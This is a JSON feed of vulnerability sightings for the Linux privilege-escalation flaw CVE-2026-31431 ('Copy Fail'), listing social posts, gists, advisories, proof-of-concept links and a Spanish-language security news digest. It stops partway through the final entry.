{"vulnerability": "CVE-2026-31431", "sightings": [{"uuid": "b5eec51b-e292-4568-b9df-725f183c4f97", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://gist.github.com/bykvaadm/7a9e56861ea25de49980ebb0660d7e56", "content": "", "creation_timestamp": "2026-04-30T10:17:49.000000Z"}, {"uuid": "5e0f33ae-8780-4562-ae23-efe0e6736c7e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://infosec.exchange/users/dragonjar/statuses/116493321164201535", "content": "En las \u00faltimas 24 horas se han detectado vulnerabilidades cr\u00edticas que afectan sistemas Linux, cPanel, routers de Solana y Adobe Acrobat, exponiendo a usuarios a escalada de privilegios, suplantaci\u00f3n de autenticaci\u00f3n, robo de tokens y ejecuci\u00f3n remota de c\u00f3digo; adem\u00e1s, se reportan fallos en Cloudflare y un malware avanzado que amenaza sectores cient\u00edficos. Descubre estos y m\u00e1s detalles en el siguiente listado de noticias sobre seguridad inform\u00e1tica:\n\ud83d\uddde\ufe0f \u00daLTIMAS NOTICIAS EN SEGURIDAD INFORM\u00c1TICA \ud83d\udd12====| \ud83d\udd25 LO QUE DEBES SABER HOY \ufeff\ufeff30/04/26\ufeff\ufeff  \ud83d\udcc6 |==== \n\ud83d\udd12 COPY FAIL \u2014 732 BYTES TO ROOT\nSe ha descubierto una vulnerabilidad cr\u00edtica en Linux (CVE-2026-31431) que permite escalar privilegios a nivel root sin riesgo de condiciones de carrera ni necesidad de usar offsets. Esta falla evade las herramientas de integridad de archivos en disco y afecta incluso a entornos aislados como contenedores, representando un riesgo grave para la seguridad de sistemas Linux. Detectada por Xint Code, es esencial actualizar y proteger su infraestructura cuanto antes. Descubre m\u00e1s sobre esta vulnerabilidad y su impacto aqu\u00ed \ud83d\udc49 https://djar.co/3ckGrI\n\ud83c\udf10 LA INTERNET EST\u00c1 CAYENDO, CAYENDO, CAYENDO (CVE-2026-41940 EN CPANEL Y WHM)\nUna falla de suplantaci\u00f3n de autenticaci\u00f3n ha sido identificada en cPanel y WHM, dos herramientas clave para la gesti\u00f3n de hosting. Esta vulnerabilidad permite a atacantes no autenticados obtener sesiones de usuario, inclusive con privilegios de administrador root, mediante un bypass completo en la autenticaci\u00f3n. La amenaza compromete la seguridad de miles de servidores web, por lo que se recomienda aplicar los parches disponibles de inmediato. Inf\u00f3rmate sobre c\u00f3mo proteger tus sistemas aqu\u00ed \ud83d\udc49 https://djar.co/ScQtAV\n\ud83d\udd17 VULNERABILIDAD EN EL ROUTER DE SOLANA\nImportantes fallos de seguridad han sido detectados en el enrutador de la red Solana, facilitando el drenaje de cuentas de tokens y poniendo en riesgo la integridad de las transacciones financieras dentro de esta blockchain. Estas vulnerabilidades cr\u00edticas podr\u00edan comprometer fondos y confianza en la plataforma, por lo que es imprescindible que los usuarios y desarrolladores tomen medidas urgentes para mitigar estos riesgos. Detalles y recomendaciones aqu\u00ed \ud83d\udc49 https://djar.co/2clAA\n\ud83d\udcc4 TRES VULNERABILIDADES EN ADOBE ACROBAT QUE COMPROMETEN SEGURIDAD\nAdobe ha revelado tres vulnerabilidades cr\u00edticas (CVE-2026-34621, CVE-2026-34622, CVE-2026-34626) que permiten la ejecuci\u00f3n remota de c\u00f3digo y la filtraci\u00f3n de informaci\u00f3n mediante archivos PDF maliciosos. Estos fallos afectan versiones populares como Acrobat DC y Reader DC, poniendo en riesgo a millones de usuarios que manejan documentos digitales. Actualizar a la \u00faltima versi\u00f3n es fundamental para evitar intrusiones y p\u00e9rdidas de datos. Conoce los detalles y actualizaciones disponibles aqu\u00ed \ud83d\udc49 https://djar.co/Rvvu5\n\ud83c\udfdb\ufe0f LA ESTRATEGIA DEL CONGRESO CONTRA BLOQUEOS MASIVOS DE IP POR LALIGA\nEl Congreso ha aprobado una reforma a la Ley de Servicios Digitales para evitar bloqueos masivos de direcciones IP que afecten a p\u00e1ginas ajenas en procesos contra la pirater\u00eda, buscando un equilibrio entre la protecci\u00f3n de derechos y la seguridad en internet. Esta medida evita que resoluciones judiciales derriben sitios web de terceros y promueve un entorno digital m\u00e1s seguro y regulado. Entiende el alcance y las implicaciones de esta reforma aqu\u00ed \ud83d\udc49 https://djar.co/8dbV\n\u2601\ufe0f VULNERABILIDADES CR\u00cdTICAS EN LA IMPLEMENTACI\u00d3N DE CLOUDFLARE\nSe han reportado vulnerabilidades en los proxies de autorizaci\u00f3n y archivos PAC alojados por Cloudflare que afectan la gesti\u00f3n de pol\u00edticas de seguridad de identidad sin necesidad de clientes en dispositivos finales. Estas fallas, aunque t\u00e9cnicas, representan un avance en c\u00f3mo se protegen las redes y requieren atenci\u00f3n para evitar posibles explotaciones. Mantente informado sobre c\u00f3mo estas vulnerabilidades impactan la seguridad del entorno web aqu\u00ed \ud83d\udc49 https://djar.co/Y6uR\n\ud83d\udc1b DETECTANDO LA AMENAZA DEL MALWARE FAST16\nUn malware avanzado, posiblemente desarrollado o patrocinado por un estado, ha sido identificado causando sabotajes discretos mediante la manipulaci\u00f3n de programas matem\u00e1ticos y simulaciones f\u00edsicas. Esta amenaza tiene potencial para generar fallos graves, afectando sectores cient\u00edficos y tecnol\u00f3gicos sensibles. La detecci\u00f3n y respuesta temprana son claves para mitigar el da\u00f1o. Aprende c\u00f3mo proteger tus sistemas frente a Fast16 aqu\u00ed \ud83d\udc49 https://djar.co/CN8X", "creation_timestamp": "2026-04-30T11:03:37.280116Z"}, {"uuid": "01af72ac-0b9d-45e3-9e0b-9727306c902d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/Atirut.toot.community.ap.brid.gy/post/3mkpfck6l6a22", "content": "CVE-2026-31431 is one mean fucker ngl", "creation_timestamp": "2026-04-30T10:20:44.027095Z"}, {"uuid": "dd2aac17-3ae3-486c-be12-5e22305d1a26", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/hn100.bsky.social/post/3mknpjajyr624", "content": "Copy Fail \u2013 CVE-2026-31431\n\nDiscussion", "creation_timestamp": "2026-04-29T18:18:05.707613Z"}, {"uuid": "1b171109-f0c5-402a-8e21-40a3bca79328", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://gist.github.com/morfie/28f7413a683b51df42e719e645a98e8b", "content": "", "creation_timestamp": "2026-04-30T11:19:59.000000Z"}, {"uuid": "60dfb15a-4557-44ad-b2a7-02afe99366f5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/news.karthihegde.dev/post/3mknpo6uevi27", "content": "Copy Fail \u2013 CVE-2026-31431\nDiscussion | hackernews | Author: unsnap_biceps", "creation_timestamp": "2026-04-29T18:20:51.260347Z"}, {"uuid": "978943e1-f5bb-44aa-8625-60285c2509e0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-31431", "type": "seen", "source": "https://gist.github.com/nicomen/261af7bfd7c0fb45710c2399b1196241", "content": "", "creation_timestamp": "2026-04-30T11:27:56.000000Z"}, {"uuid": "0ae33e1b-e7c1-4e31-b2c7-79b23b6571d0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://gist.github.com/antarcticrainforest/5170ed0e6de737c35507c13184a480e8", "content": "", "creation_timestamp": "2026-04-30T11:21:26.000000Z"}, {"uuid": "f4d0d85e-8fc4-4b3e-b73a-75ef9c711464", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/hn100.bsky.social/post/3mkpjfqzn7h2z", "content": "Copy-fail-destroyer: K8s remediation for CVE-2026-31431\n\nDiscussion", "creation_timestamp": "2026-04-30T11:34:05.946110Z"}, {"uuid": "ae6d711e-3be0-453d-b2db-5643cdaaf2ed", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/t2saras.bsky.social/post/3mkqgkl2ym22g", "content": "CVE-2026-31431", "creation_timestamp": "2026-04-30T20:15:45.650642Z"}, {"uuid": "56c85862-c226-46d7-8a10-5779094a4613", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://cyber.gc.ca/en/alerts-advisories/al26-009-vulnerability-affecting-linux-cve-2026-31431", "content": "", "creation_timestamp": "2026-04-30T11:15:29.000000Z"}, {"uuid": "23470e0e-d0b3-40fe-984d-03e253bd7093", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/jcrabapple.dmv.community.ap.brid.gy/post/3mkpkfhass522", "content": "Copy Fail \u2014 CVE-2026-31431\n\nhttps://copy.fail/", "creation_timestamp": "2026-04-30T11:51:52.836263Z"}, {"uuid": "591aae93-8501-4f23-abd7-6938b310d09c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-31431", "type": "seen", "source": "https://gist.github.com/maximsmol/ceb98dfce166937ddb844ce17ed795d4", "content": "", "creation_timestamp": "2026-04-30T21:25:32.000000Z"}, {"uuid": "10f8a069-d504-49ec-99ac-b598782f840f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://gist.github.com/frichinic/c4f10080bfa8a8fd1ec5ed349277ab42", "content": "", "creation_timestamp": "2026-04-30T20:59:06.000000Z"}, {"uuid": "4d9d9d98-a09d-4552-95d9-e9738ab20e4a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://gist.github.com/samicrusader/b24950322bd8997484f7255b8a909795", "content": "", "creation_timestamp": "2026-04-29T21:29:08.000000Z"}, {"uuid": "ead1b7b5-7fc8-431f-9007-ef4b17dfc362", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/n.gotosocial.tourmentine.com.ap.brid.gy/post/3mko2k2qjpml2", "content": "[lien] Copy Fail \u2014 CVE-2026-31431 #security #gik #cli #py", "creation_timestamp": "2026-04-29T21:35:24.031961Z"}, {"uuid": "aefe1c19-837d-4204-a149-919be3cabe7a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://gist.github.com/hrioslima/733e1771694e99033fb619ad39e649b8", "content": "", "creation_timestamp": "2026-05-01T01:21:43.000000Z"}, {"uuid": "02f529db-0584-4baa-9002-d9fb16a1a947", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://gist.github.com/ricardobranco777/6d70f06588aa0c2a0b99a9005fb2209a", "content": "", "creation_timestamp": "2026-04-29T21:42:05.000000Z"}, {"uuid": "d648747b-7b0a-4ab0-8370-6776701ac8aa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://gist.github.com/hrioslima/efc467849ce5e148b592b2da2a35a647", "content": "", "creation_timestamp": "2026-05-01T01:30:22.000000Z"}, {"uuid": "4ba88ca6-96d3-4144-a4c2-1435ffb471b2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/sambowne.infosec.exchange.ap.brid.gy/post/3mko356r3yn42", "content": "Copy Fail \u2014 CVE-2026-31431 Linux Privilege Escalation https://copy.fail/", "creation_timestamp": "2026-04-29T21:46:17.962316Z"}, {"uuid": "076538fb-d17f-4af9-9305-61030d220133", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/ajuvo.chaos.social.ap.brid.gy/post/3mko3yssybvl2", "content": "https://security-tracker.debian.org/tracker/CVE-2026-31431", "creation_timestamp": "2026-04-29T22:01:58.581591Z"}, {"uuid": "8b10f40e-716c-4d20-8a2e-264cd683c4c4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/hnws.bsky.social/post/3mknptyzvq32o", "content": "Copy Fail \u2013 CVE-2026-31431\nL: https://copy.fail/\nC: https://news.ycombinator.com/item?id=47952181\nposted on 2026.04.29 at 14:13:53 (c=0, p=4)", "creation_timestamp": "2026-04-29T18:24:06.490928Z"}, {"uuid": "84b5bb8f-8148-4dd5-ae9c-b8c96877d889", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://gist.github.com/MagnaCapax/0cfe2a4d9259c833f9f2a3d700678ddf", "content": "", "creation_timestamp": "2026-04-30T12:52:06.000000Z"}, {"uuid": "a8dd777d-4a9c-4318-b927-cb8d74f8d420", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://www.acn.gov.it/portale/w/linux-disponibile-poc-per-lo-sfruttamento-della-cve-2026-31431", "content": "", "creation_timestamp": "2026-04-30T08:12:39.000000Z"}, {"uuid": "64d5df8b-6ff3-4fee-acfa-7e5e94407a6e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/hn.rbrt.fr/post/3mko47xu26m2y", "content": "Copy Fail \u2013 CVE-2026-31431\nhttps://copy.fail/\nhttps://news.ycombinator.com/item?id=47952181", "creation_timestamp": "2026-04-29T22:05:33.369979Z"}, {"uuid": "45018df4-776e-4e5c-a82c-2fadc4a73991", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/betterhn300.e-work.xyz/post/3mko4ksgsah2r", "content": "Copy Fail \u2013 CVE-2026-31431 https://copy.fail/ (https://news.ycombinator.com/item?id=47952181)", "creation_timestamp": "2026-04-29T22:11:36.530898Z"}, {"uuid": "c998e233-a6c9-4af6-a2dc-ec17d8a592f3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/hacker-news.bsky.social/post/3mko6tgwvxa2n", "content": "Copy Fail - CVE-2026-31431 [Discussion]", "creation_timestamp": "2026-04-29T22:52:13.665819Z"}, {"uuid": "e6832dbb-b33d-4416-a659-e3106995e718", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://gist.github.com/m3nu/c19269ef4fd6fa53b03eb388f77464da", "content": "", "creation_timestamp": "2026-04-29T22:53:05.000000Z"}, {"uuid": "775b62ba-d903-43fc-bffa-f01b395da03b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/infosec.skyfleet.blue/post/3mkob6kz6pz2e", "content": "Re: CVE-2026-31431: CopyFail: linux local privilege scalation", "creation_timestamp": "2026-04-29T23:34:14.297234Z"}, {"uuid": "1900ed3e-104c-443e-a69c-be758a319af4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://gist.github.com/daknhh/67f9b55c189844ba11e5eb0f71a8cbd8", "content": "", "creation_timestamp": "2026-04-30T13:14:40.000000Z"}, {"uuid": "b724d4a0-4bfb-47ec-9c31-a488756ff0a5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/infosec.skyfleet.blue/post/3mkobhkegnd2j", "content": "Re: CVE-2026-31431: CopyFail: linux local privilege scalation", "creation_timestamp": "2026-04-29T23:39:15.754389Z"}, {"uuid": "c7877ba4-027b-4bf0-b4b3-83987b3d834f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://gist.github.com/grenkoca/d8257be909e5073e9d6f4cf20c9273c7", "content": "", "creation_timestamp": "2026-04-29T23:46:53.000000Z"}, {"uuid": "1073138f-9065-4573-815f-e88d513a10a8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://gist.github.com/predkambrij/85da17fa4235e4dc7305873d5df5af39", "content": "", "creation_timestamp": "2026-04-30T13:31:03.000000Z"}, {"uuid": "93da8575-dc4e-4d5b-ab51-ab56794406c1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/hnbot.gsuscs.xyz/post/3mknqafs7g225", "content": "Copy Fail \u2013 CVE-2026-31431\n\nhttps://copy.fail/", "creation_timestamp": "2026-04-29T18:31:02.609932Z"}, {"uuid": "e58a05ce-8b75-4cdc-8c37-f16df4374e85", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/foobar.eagleusb.com/post/3mkoewntqnc24", "content": "argh, *kernel local escalation: CVE-2026-31431\n\n> exploit-intel.com/vuln/CVE-202...", "creation_timestamp": "2026-04-30T00:41:25.440832Z"}, {"uuid": "a8ec01b8-252b-4761-a780-f05d09c1a44e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/newsyc500.bsky.social/post/3mkof22fbvl2l", "content": "Copy Fail \u2013 CVE-2026-31431 https://copy.fail/ (http://news.ycombinator.com/item?id=47952181)", "creation_timestamp": "2026-04-30T00:43:17.585430Z"}, {"uuid": "22699305-a674-48c6-a6e8-1a303b7bb672", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/kdmsnr.com/post/3mkogd7ykbx2a", "content": "\ud83c\udf10\u30b3\u30d4\u30fc\u5931\u6557 \u2013 CVE-2026-31431\nhttps://copy.fail/\nvia #HackerNews", "creation_timestamp": "2026-04-30T01:06:19.358574Z"}, {"uuid": "258a891a-1afd-4db8-bfd1-1cceb00a9905", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://gist.github.com/yht/56b48ad379122730a2c0b89eb0efcbf3", "content": "", "creation_timestamp": "2026-04-30T01:39:57.000000Z"}, {"uuid": "c40f34f4-5494-43a9-8ae2-2af742869dc9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/nillpo.bsky.social/post/3mkoinsi5bc2d", "content": "\u3048\u30fc\n\"Copy Fail \u2013 CVE-2026-31431 | Hacker News\"\nnews.ycombinator.com/item?id=4795...", "creation_timestamp": "2026-04-30T01:48:01.878748Z"}, {"uuid": "d1896df9-592a-43bd-b4cb-0f4bab170933", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/nillpo.bsky.social/post/3mkoiogkxlc2d", "content": "\"Copy Fail \u2014 CVE-2026-31431\"\ncopy.fail", "creation_timestamp": "2026-04-30T01:48:24.446317Z"}, {"uuid": "44da0607-32ef-4c41-8ef9-1950df99062f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/infosec.skyfleet.blue/post/3mkojc3mpjj2i", "content": "Re: CVE-2026-31431: CopyFail: linux local privilege scalation", "creation_timestamp": "2026-04-30T01:59:22.451077Z"}, {"uuid": "d2830805-40b8-4345-80da-fba7b7c99cf2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/hnbest.bsky.social/post/3mkojdpb4un2s", "content": "Copy Fail \u2013 CVE-2026-31431 https://copy.fail/\n\n\ncomments  #copy.fail", "creation_timestamp": "2026-04-30T02:00:16.235645Z"}, {"uuid": "d6a67928-5009-4e5f-9e3f-dec4e3f07b38", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/infosec.skyfleet.blue/post/3mkokotmfiw2u", "content": "Re: CVE-2026-31431: CopyFail: linux local privilege scalation", "creation_timestamp": "2026-04-30T02:24:24.005961Z"}, {"uuid": "b15e840f-045f-4d85-ace1-3a56d68ae1b1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/infosec.skyfleet.blue/post/3mkokxsswvn2e", "content": "Re: CVE-2026-31431: CopyFail: linux local privilege scalation", "creation_timestamp": "2026-04-30T02:29:26.423636Z"}, {"uuid": "5d6e7b37-7166-48dd-8526-67fbcb45a674", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://gist.github.com/richardevs/7dd9677bb9d7164af5f1d90f39047ea6", "content": "", "creation_timestamp": "2026-04-30T02:34:19.000000Z"}, {"uuid": "c7d2dba3-8d26-4953-a1d9-7392d32cfcdb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://gist.github.com/Nyaasu66/638c072379b54a5d5e9a57cb5fbef073", "content": "", "creation_timestamp": "2026-04-30T02:44:38.000000Z"}, {"uuid": "00ff3292-ccc4-4184-95b8-b798e41f207e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://gist.github.com/LionNatsu/f1d557ade3332923c2319df9799d1b5e", "content": "", "creation_timestamp": "2026-04-30T03:54:26.000000Z"}, {"uuid": "dfd3915e-4282-4ca8-828b-217d097041df", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://gist.github.com/cr0nx/3079c57310f01ad89699bda642e0e37e", "content": "", "creation_timestamp": "2026-04-30T04:05:17.000000Z"}, {"uuid": "945930f4-a336-405f-85c7-c024e3c2c560", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://infosec.exchange/users/wdormann/statuses/116489443704631952", "content": "So CopyFail CVE-2026-31431 is a thing.", "creation_timestamp": "2026-04-29T18:37:31.129965Z"}, {"uuid": "8a311bd2-a792-4cd5-b5a2-c2bfed87e53a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://gist.github.com/ridwan-muhamad/74df4a2d89a4e6c51cc180101950c79c", "content": "", "creation_timestamp": "2026-04-30T05:26:21.000000Z"}, {"uuid": "7814c4d2-793f-4b4c-bc38-1fc85945d733", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "af0120d0-3dac-4a6a-974b-a9f33d2a9846", "vulnerability": "CVE-2026-31431", "type": "published-proof-of-concept", "source": "https://www.theregister.com/2026/04/30/linux_cryptographic_code_flaw/", "content": "", "creation_timestamp": "2026-04-30T05:28:35.783179Z"}, {"uuid": "58884637-a899-4fba-bf7e-daf86385e130", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://gist.github.com/wangjiezhe/0f0617910e7775254fc582a4594c5e90", "content": "", "creation_timestamp": "2026-04-30T15:03:14.000000Z"}, {"uuid": "f6fcca34-7e45-4547-977d-b2485d1e9d4f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/wdormann.infosec.exchange.ap.brid.gy/post/3mknqm356q2l2", "content": "So CopyFail CVE-2026-31431 is a thing.", "creation_timestamp": "2026-04-29T18:37:44.845463Z"}, {"uuid": "ddf88edd-3715-44fe-8084-9b4d31e6cc92", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "af0120d0-3dac-4a6a-974b-a9f33d2a9846", "vulnerability": "CVE-2026-31431", "type": "published-proof-of-concept", "source": "https://github.com/theori-io/copy-fail-CVE-2026-31431/blob/main/copy_fail_exp.py", "content": "", "creation_timestamp": "2026-04-30T05:28:48.129836Z"}, {"uuid": "ef50cc3c-b962-4e26-8c27-8c551d5e81d1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "c933734a-9be8-4142-889e-26e95c752803", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://vulnerability.circl.lu/comment/22701e2f-15d4-44db-9df9-7e7cdb26d102", "content": "", "creation_timestamp": "2026-04-30T15:40:35.427683Z"}, {"uuid": "9d8eac62-bfee-4b7d-9219-b62b255b452d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/infosec.skyfleet.blue/post/3mkowpljpqj2h", "content": 